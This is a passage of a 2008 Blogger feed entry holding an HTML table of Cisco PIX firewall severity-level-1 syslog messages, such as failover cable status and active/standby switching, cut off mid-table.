src='http://1.bp.blogspot.com/_AamnZyf3C_A/SVhlfeRBfII/AAAAAAAAAIA/T4ZqWALyCFw/S220/kenshin+O_O.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-456962442660639401.post-4333363378819716054</id><published>2008-12-24T01:34:00.001-08:00</published><updated>2008-12-24T01:35:18.326-08:00</updated><title type='text'>Alerts—Syslog Severity Level 1 Messages</title><content type='html'>&lt;span class="Apple-style-span"   style="  ;font-family:verdana;font-size:11px;"&gt;&lt;table cellspacing="0" class="allBorders" border="1"   style="font-weight: normal; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; font-family:verdana, sans-serif;font-size:11px;"&gt;&lt;thead&gt;&lt;tr style="vertical-align: top; "&gt;&lt;th scope="col" class="docTableCell thead" align="left" valign="bottom"    style="text-align: left;   font-weight: bold; font-style: normal;  padding-top: 5px; padding-right: 3px; padding-bottom: 5px; padding-left: 3px; font-family:Verdana, 'Times New Roman', Times, serif;font-size:105%;color:black;"&gt;&lt;span class="docEmphStrong" style="font-weight: bold; "&gt;&lt;span class="Apple-style-span" style="color: rgb(204, 102, 204);"&gt;Level and Message Number&lt;/span&gt;&lt;/span&gt;&lt;/th&gt;&lt;th scope="col" class="docTableCell thead" align="left" valign="bottom"    style="text-align: left;   font-weight: bold; font-style: normal;  padding-top: 5px; padding-right: 3px; padding-bottom: 5px; padding-left: 3px; font-family:Verdana, 'Times New Roman', Times, serif;font-size:105%;color:black;"&gt;&lt;span class="docEmphStrong" style="font-weight: bold; "&gt;&lt;span class="Apple-style-span" style="color: rgb(204, 102, 204);"&gt;Message Text&lt;/span&gt;&lt;/span&gt;&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr style="vertical-align: top; "&gt;&lt;td class="docTableCell" align="left" valign="top" face="Verdana, 'Times New Roman', Times, serif" size="105%" color="black" style="   padding-top: 5px; padding-right: 3px; padding-bottom: 5px; padding-left: 3px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "&gt;&lt;span class="Apple-style-span" style="color: rgb(204, 102, 204);"&gt;%PIX-1-101001&lt;/span&gt;&lt;/td&gt;&lt;td class="docTableCell" align="left" valign="top" face="Verdana, 'Times New Roman', Times, serif" size="105%" color="black" style="   padding-top: 5px; padding-right: 3px; padding-bottom: 5px; padding-left: 3px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "&gt;&lt;span class="Apple-style-span" style="color: rgb(204, 102, 204);"&gt;(Primary) Failover cable OK.&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="vertical-align: top; "&gt;&lt;td class="docTableCell" align="left" valign="top" face="Verdana, 'Times New Roman', Times, serif" size="105%" color="black" style="   padding-top: 5px; padding-right: 3px; padding-bottom: 5px; padding-left: 3px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "&gt;&lt;span class="Apple-style-span" style="color: rgb(204, 102, 204);"&gt;%PIX-1-101002&lt;/span&gt;&lt;/td&gt;&lt;td class="docTableCell" align="left" valign="top" face="Verdana, 'Times New Roman', Times, serif" size="105%" color="black" style="   padding-top: 5px; padding-right: 3px; padding-bottom: 5px; padding-left: 3px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "&gt;&lt;span class="Apple-style-span" style="color: rgb(204, 102, 204);"&gt;(Primary) Bad failover cable.&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="vertical-align: top; "&gt;&lt;td class="docTableCell" align="left" valign="top" face="Verdana, 'Times New Roman', Times, serif" size="105%" color="black" style="   padding-top: 5px; padding-right: 3px; padding-bottom: 5px; padding-left: 3px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "&gt;&lt;span class="Apple-style-span" style="color: rgb(204, 102, 204);"&gt;%PIX-1-101003&lt;/span&gt;&lt;/td&gt;&lt;td class="docTableCell" align="left" valign="top" face="Verdana, 'Times New Roman', Times, serif" size="105%" color="black" style="   padding-top: 5px; padding-right: 3px; padding-bottom: 5px; padding-left: 3px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "&gt;&lt;span class="Apple-style-span" style="color: rgb(204, 102, 204);"&gt;(Primary) Failover cable not connected (this unit).&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="vertical-align: top; "&gt;&lt;td class="docTableCell" align="left" valign="top" face="Verdana, 'Times New Roman', Times, serif" size="105%" color="black" style="   padding-top: 5px; padding-right: 3px; padding-bottom: 5px; padding-left: 3px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "&gt;&lt;span class="Apple-style-span" style="color: rgb(204, 102, 204);"&gt;%PIX-1-101004&lt;/span&gt;&lt;/td&gt;&lt;td class="docTableCell" align="left" valign="top" face="Verdana, 'Times New Roman', Times, serif" size="105%" color="black" style="   padding-top: 5px; padding-right: 3px; padding-bottom: 5px; padding-left: 3px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "&gt;&lt;span class="Apple-style-span" style="color: rgb(204, 102, 204);"&gt;(Primary) Failover cable not connected (other unit).&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="vertical-align: top; "&gt;&lt;td class="docTableCell" align="left" valign="top" face="Verdana, 'Times New Roman', Times, serif" size="105%" color="black" style="   padding-top: 5px; padding-right: 3px; padding-bottom: 5px; padding-left: 3px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "&gt;&lt;span class="Apple-style-span" style="color: rgb(204, 102, 204);"&gt;%PIX-1-101005&lt;/span&gt;&lt;/td&gt;&lt;td class="docTableCell" align="left" valign="top" face="Verdana, 'Times New Roman', Times, serif" size="105%" color="black" style="   padding-top: 5px; padding-right: 3px; padding-bottom: 5px; padding-left: 3px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "&gt;&lt;span class="Apple-style-span" style="color: rgb(204, 102, 204);"&gt;(Primary) Error reading failover cable status.&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="vertical-align: top; "&gt;&lt;td class="docTableCell" align="left" valign="top" face="Verdana, 'Times New Roman', Times, serif" size="105%" color="black" style="   padding-top: 5px; padding-right: 3px; padding-bottom: 5px; padding-left: 3px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "&gt;&lt;span class="Apple-style-span" style="color: rgb(204, 102, 204);"&gt;%PIX-1-102001&lt;/span&gt;&lt;/td&gt;&lt;td class="docTableCell" align="left" valign="top" face="Verdana, 'Times New Roman', Times, serif" size="105%" color="black" style="   padding-top: 5px; padding-right: 3px; padding-bottom: 5px; padding-left: 3px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "&gt;&lt;span class="Apple-style-span" style="color: rgb(204, 102, 204);"&gt;(Primary) Power failure/system reload other side.&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="vertical-align: top; "&gt;&lt;td class="docTableCell" align="left" valign="top" face="Verdana, 'Times New Roman', Times, serif" size="105%" color="black" style="   padding-top: 5px; padding-right: 3px; padding-bottom: 5px; padding-left: 3px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "&gt;&lt;span class="Apple-style-span" style="color: rgb(204, 102, 204);"&gt;%PIX-1-103001&lt;/span&gt;&lt;/td&gt;&lt;td class="docTableCell" align="left" valign="top" face="Verdana, 'Times New Roman', Times, serif" size="105%" color="black" style="   padding-top: 5px; padding-right: 3px; padding-bottom: 5px; padding-left: 3px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "&gt;&lt;span class="Apple-style-span" style="color: rgb(204, 102, 204);"&gt;(Primary) No response from other firewall (reason code =&lt;/span&gt;&lt;span class="docEmphasis" style="font-style: italic; "&gt;&lt;span class="Apple-style-span" style="color: rgb(204, 102, 204);"&gt;code&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="color: rgb(204, 102, 204);"&gt;).&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="vertical-align: top; "&gt;&lt;td class="docTableCell" align="left" valign="top" face="Verdana, 'Times New Roman', Times, serif" size="105%" color="black" style="   padding-top: 5px; padding-right: 3px; padding-bottom: 5px; padding-left: 3px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "&gt;&lt;span class="Apple-style-span" style="color: rgb(204, 102, 204);"&gt;%PIX-1-103002&lt;/span&gt;&lt;/td&gt;&lt;td class="docTableCell" align="left" valign="top" face="Verdana, 'Times New Roman', Times, serif" size="105%" color="black" style="   padding-top: 5px; padding-right: 3px; padding-bottom: 5px; padding-left: 3px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "&gt;&lt;span class="Apple-style-span" style="color: rgb(204, 102, 204);"&gt;(Primary) Other firewall network interface &lt;/span&gt;&lt;span class="docEmphasis" style="font-style: italic; "&gt;&lt;span class="Apple-style-span" style="color: rgb(204, 102, 204);"&gt;interface_number&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="color: rgb(204, 102, 204);"&gt;OK.&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="vertical-align: top; "&gt;&lt;td class="docTableCell" align="left" valign="top" face="Verdana, 'Times New Roman', Times, serif" size="105%" color="black" style="   padding-top: 5px; padding-right: 3px; padding-bottom: 5px; padding-left: 3px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "&gt;&lt;span class="Apple-style-span" style="color: rgb(204, 102, 204);"&gt;%PIX-1-103003&lt;/span&gt;&lt;/td&gt;&lt;td class="docTableCell" align="left" valign="top" face="Verdana, 'Times New Roman', Times, serif" size="105%" color="black" style="   padding-top: 5px; padding-right: 3px; padding-bottom: 5px; padding-left: 3px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "&gt;&lt;span class="Apple-style-span" style="color: rgb(204, 102, 204);"&gt;(Primary) Other firewall network interface &lt;/span&gt;&lt;span class="docEmphasis" style="font-style: italic; "&gt;&lt;span class="Apple-style-span" style="color: rgb(204, 102, 204);"&gt;interface_number&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="color: rgb(204, 102, 204);"&gt;failed.&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="vertical-align: top; "&gt;&lt;td class="docTableCell" align="left" valign="top" face="Verdana, 'Times New Roman', Times, serif" size="105%" color="black" style="   padding-top: 5px; padding-right: 3px; padding-bottom: 5px; padding-left: 3px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "&gt;&lt;span class="Apple-style-span" style="color: rgb(204, 102, 204);"&gt;%PIX-1-103004&lt;/span&gt;&lt;/td&gt;&lt;td class="docTableCell" align="left" valign="top" face="Verdana, 'Times New Roman', Times, serif" size="105%" color="black" style="   padding-top: 5px; padding-right: 3px; padding-bottom: 5px; padding-left: 3px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "&gt;&lt;span class="Apple-style-span" style="color: rgb(204, 102, 204);"&gt;(Primary) Other firewall reports this firewall failed.&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="vertical-align: top; "&gt;&lt;td class="docTableCell" align="left" valign="top" face="Verdana, 'Times New Roman', Times, serif" size="105%" color="black" style="   padding-top: 5px; padding-right: 3px; padding-bottom: 5px; padding-left: 3px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "&gt;&lt;span class="Apple-style-span" style="color: rgb(204, 102, 204);"&gt;%PIX-1-103005&lt;/span&gt;&lt;/td&gt;&lt;td class="docTableCell" align="left" valign="top" face="Verdana, 'Times New Roman', Times, serif" size="105%" color="black" style="   padding-top: 5px; padding-right: 3px; padding-bottom: 5px; padding-left: 3px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "&gt;&lt;span class="Apple-style-span" style="color: rgb(204, 102, 204);"&gt;(Primary) Other firewall reporting failure.&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="vertical-align: top; "&gt;&lt;td class="docTableCell" align="left" valign="top" face="Verdana, 'Times New Roman', Times, serif" size="105%" color="black" style="   padding-top: 5px; padding-right: 3px; padding-bottom: 5px; padding-left: 3px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "&gt;&lt;span class="Apple-style-span" style="color: rgb(204, 102, 204);"&gt;%PIX-1-103011&lt;/span&gt;&lt;/td&gt;&lt;td class="docTableCell" align="left" valign="top" face="Verdana, 'Times New Roman', Times, serif" size="105%" color="black" style="   padding-top: 5px; padding-right: 3px; padding-bottom: 5px; padding-left: 3px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "&gt;&lt;span class="Apple-style-span" style="color: rgb(204, 102, 204);"&gt;Unknown message text. (7.0)&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="vertical-align: top; "&gt;&lt;td class="docTableCell" align="left" valign="top" face="Verdana, 'Times New Roman', Times, serif" size="105%" color="black" style="   padding-top: 5px; padding-right: 3px; padding-bottom: 5px; padding-left: 3px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "&gt;&lt;span class="Apple-style-span" style="color: rgb(204, 102, 204);"&gt;%PIX-1-104001&lt;/span&gt;&lt;/td&gt;&lt;td class="docTableCell" align="left" valign="top" face="Verdana, 'Times New Roman', Times, serif" size="105%" color="black" style="   padding-top: 5px; padding-right: 3px; padding-bottom: 5px; padding-left: 3px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "&gt;&lt;span class="Apple-style-span" style="color: rgb(204, 102, 204);"&gt;(Primary) Switching to ACTIVE (cause: &lt;/span&gt;&lt;span class="docEmphasis" style="font-style: italic; "&gt;&lt;span class="Apple-style-span" style="color: rgb(204, 102, 204);"&gt;string&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="color: rgb(204, 102, 204);"&gt;).&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="vertical-align: top; "&gt;&lt;td class="docTableCell" align="left" valign="top" face="Verdana, 'Times New Roman', Times, serif" size="105%" color="black" style="   padding-top: 5px; padding-right: 3px; padding-bottom: 5px; padding-left: 3px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "&gt;&lt;span class="Apple-style-span" style="color: rgb(204, 102, 204);"&gt;%PIX-1-104002&lt;/span&gt;&lt;/td&gt;&lt;td class="docTableCell" align="left" valign="top" face="Verdana, 'Times New Roman', Times, serif" size="105%" color="black" style="   padding-top: 5px; padding-right: 3px; padding-bottom: 5px; padding-left: 3px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "&gt;&lt;span class="Apple-style-span" style="color: rgb(204, 102, 204);"&gt;(Primary) Switching to STNDBY (cause: &lt;/span&gt;&lt;span class="docEmphasis" style="font-style: italic; "&gt;&lt;span class="Apple-style-span" style="color: rgb(204, 102, 204);"&gt;string&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="color: rgb(204, 102, 204);"&gt;).&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="vertical-align: top; "&gt;&lt;td class="docTableCell" align="left" valign="top" face="Verdana, 'Times New Roman', Times, serif" size="105%" color="black" style="   padding-top: 5px; padding-right: 3px; padding-bottom: 5px; padding-left: 3px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "&gt;&lt;span class="Apple-style-span" style="color: rgb(204, 102, 204);"&gt;%PIX-1-104003&lt;/span&gt;&lt;/td&gt;&lt;td class="docTableCell" align="left" valign="top" face="Verdana, 'Times New Roman', Times, serif" size="105%" color="black" style="   padding-top: 5px; padding-right: 3px; padding-bottom: 5px; padding-left: 3px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "&gt;&lt;span class="Apple-style-span" style="color: rgb(204, 102, 204);"&gt;(Primary) Switching to FAILED.&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="vertical-align: top; "&gt;&lt;td class="docTableCell" align="left" valign="top" face="Verdana, 'Times New Roman', Times, serif" size="105%" color="black" style="   padding-top: 5px; padding-right: 3px; padding-bottom: 5px; padding-left: 3px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "&gt;&lt;span class="Apple-style-span" style="color: rgb(204, 102, 204);"&gt;%PIX-1-104004&lt;/span&gt;&lt;/td&gt;&lt;td class="docTableCell" align="left" valign="top" face="Verdana, 'Times New Roman', Times, serif" size="105%" color="black" style="   padding-top: 5px; padding-right: 3px; padding-bottom: 5px; padding-left: 3px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "&gt;&lt;span class="Apple-style-span" style="color: rgb(204, 102, 204);"&gt;(Primary) Switching to OK.&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="vertical-align: top; "&gt;&lt;td class="docTableCell" align="left" valign="top" face="Verdana, 'Times New Roman', Times, serif" size="105%" color="black" style="   padding-top: 5px; padding-right: 3px; padding-bottom: 5px; padding-left: 3px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "&gt;&lt;span class="Apple-style-span" style="color: rgb(204, 102, 204);"&gt;%PIX-1-105001&lt;/span&gt;&lt;/td&gt;&lt;td class="docTableCell" align="left" valign="top" face="Verdana, 'Times New Roman', Times, serif" size="105%" color="black" style="   padding-top: 5px; padding-right: 3px; padding-bottom: 5px; padding-left: 3px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "&gt;&lt;span class="Apple-style-span" style="color: rgb(204, 102, 204);"&gt;(Primary) Disabling failover.&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="vertical-align: top; "&gt;&lt;td class="docTableCell" align="left" valign="top" face="Verdana, 'Times New Roman', Times, serif" size="105%" color="black" style="   padding-top: 5px; padding-right: 3px; padding-bottom: 5px; padding-left: 3px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "&gt;&lt;span class="Apple-style-span" style="color: rgb(204, 102, 204);"&gt;%PIX-1-105002&lt;/span&gt;&lt;/td&gt;&lt;td class="docTableCell" align="left" valign="top" face="Verdana, 'Times New Roman', Times, serif" size="105%" color="black" style="   padding-top: 5px; padding-right: 3px; padding-bottom: 5px; padding-left: 3px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "&gt;&lt;span class="Apple-style-span" style="color: rgb(204, 102, 204);"&gt;(Primary) Enabling failover.&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="vertical-align: top; "&gt;&lt;td class="docTableCell" align="left" valign="top" style="font-family: Verdana, 'Times New Roman', Times, serif; font-size: 105%; padding-top: 5px; padding-right: 3px; padding-bottom: 5px; padding-left: 3px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "&gt;&lt;span class="Apple-style-span" style="color: rgb(204, 102, 204);"&gt;%PIX-1-105003&lt;/span&gt;&lt;/td&gt;&lt;td class="docTableCell" align="left" valign="top" style="font-family: Verdana, 'Times New Roman', Times, serif; font-size: 105%; padding-top: 5px; padding-right: 3px; padding-bottom: 5px; padding-left: 3px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "&gt;&lt;span class="Apple-style-span" style="color: rgb(204, 102, 204);"&gt;(Primary) Monitoring on interface &lt;/span&gt;&lt;span class="docEmphasis" style="font-style: italic; "&gt;&lt;span class="Apple-style-span" style="color: rgb(204, 102, 204);"&gt;interface_name&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="color: rgb(204, 102, 204);"&gt; waiting.&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="vertical-align: top; "&gt;&lt;td class="docTableCell" align="left" valign="top" style="font-family: Verdana, 'Times New Roman', Times, serif; font-size: 105%; padding-top: 5px; padding-right: 3px; padding-bottom: 5px; padding-left: 3px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "&gt;&lt;span class="Apple-style-span" style="color: rgb(204, 102, 204);"&gt;%PIX-1-105004&lt;/span&gt;&lt;/td&gt;&lt;td class="docTableCell" align="left" valign="top" style="font-family: Verdana, 'Times New Roman', Times, serif; font-size: 105%; padding-top: 5px; padding-right: 3px; padding-bottom: 5px; padding-left: 3px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "&gt;&lt;span class="Apple-style-span" style="color: rgb(204, 102, 204);"&gt;(Primary) Monitoring on interface &lt;/span&gt;&lt;span class="docEmphasis" style="font-style: italic; "&gt;&lt;span class="Apple-style-span" style="color: rgb(204, 102, 204);"&gt;interface_name&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="color: rgb(204, 102, 204);"&gt; normal.&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="vertical-align: top; "&gt;&lt;td class="docTableCell" align="left" valign="top" style="font-family: Verdana, 'Times New Roman', Times, serif; font-size: 105%; padding-top: 5px; padding-right: 3px; padding-bottom: 5px; padding-left: 3px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "&gt;&lt;span class="Apple-style-span" style="color: rgb(204, 102, 204);"&gt;%PIX-1-105005&lt;/span&gt;&lt;/td&gt;&lt;td class="docTableCell" align="left" valign="top" style="font-family: Verdana, 'Times New Roman', Times, serif; font-size: 105%; padding-top: 5px; pa
